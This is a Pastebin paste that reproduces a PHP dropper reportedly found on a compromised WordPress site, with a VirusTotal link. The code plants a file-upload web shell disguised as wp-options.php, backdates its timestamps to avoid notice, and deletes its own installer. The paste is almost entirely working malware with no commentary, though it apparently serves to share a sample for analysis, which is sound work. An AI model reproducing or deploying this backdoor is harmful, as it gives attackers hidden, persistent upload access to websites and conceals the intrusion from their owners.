Advertisement
Guest User

Untitled

a guest
Dec 19th, 2014
236
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.86 KB | None | 0 0
  1. php file found on compromised website :
  2. https://www.virustotal.com/en/file/e47b720c63861c32ab19a6e48cfff9d2c714374631af1e7b6554cf30beff332e/analysis/
  3. ---------------------------------------------------
  4.  
  5. <?php
  6.  
  7. $DEBUG_MODE=false;
  8.  
  9. // Creating wp-admin/wp-options.php (uploader)
  10.  
  11. $file_data_head ="<?php
  12. if(isset(#_POST['Submit'])){
  13. #filedir = '';
  14. #maxfile = '2888888';
  15.  
  16. #userfile_name = #_FILES['image']['name'];
  17. #userfile_tmp = #_FILES['image']['tmp_name'];
  18. if (isset(#_FILES['image']['name'])) {
  19. #abod = #filedir.#userfile_name;
  20. @move_uploaded_file(#userfile_tmp, #abod);
  21.  
  22. }
  23. }
  24. else{
  25. echo'<form method=\"POST\" action=\"\" enctype=\"multipart/form-data\"><input type=\"file\" name=\"image\"><input type=\"Submit\" name=\"Submit\" value=\"Submit\"></form>';
  26. }
  27. ?>";
  28.  
  29. echo"<br>---------------------------- Create wp-admin/wp-options.php (uploader) ---------------------------------<br><br>";
  30. if (file_put_contents("wp-optionstmp.php", str_replace("#", "$", $file_data_head))) {
  31. touch("wp-optionstmp.php", mktime(12, 17, 11, 12, 31, 2013));
  32. echo"Proceeded: ".$start."/wp-admin/wp-options.php > Succesfull<br>";
  33. } else {
  34. echo"Proceeded: ".$start."/wp-admin/wp-options.php > Error!<br>";
  35. }
  36.  
  37. $file = 'wp-optionstmp.php';
  38. $newfile = '../wp-options.php';
  39.  
  40. echo"<br>---------------------------- Move wp-admin/wp-options.php > To root folder ---------------------------------<br><br>";
  41. if (rename($file,$newfile)) {
  42. touch("../wp-options.php", mktime(12, 17, 11, 12, 31, 2013));
  43. echo"Proceeded: ".$start."/wp-options.php > Succesfull<br>";
  44. } else {
  45. echo"Proceeded: ".$start."/wp-options.php > Error!<br>";
  46. }
  47.  
  48. $file='frommshead.php';
  49.  
  50. echo"<br>---------------------------- Remove frommshead.php (Remove files) ---------------------------------<br><br>";
  51. touch("frommshead.php", mktime(12, 17, 11, 12, 31, 2013));
  52. unlink($file);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement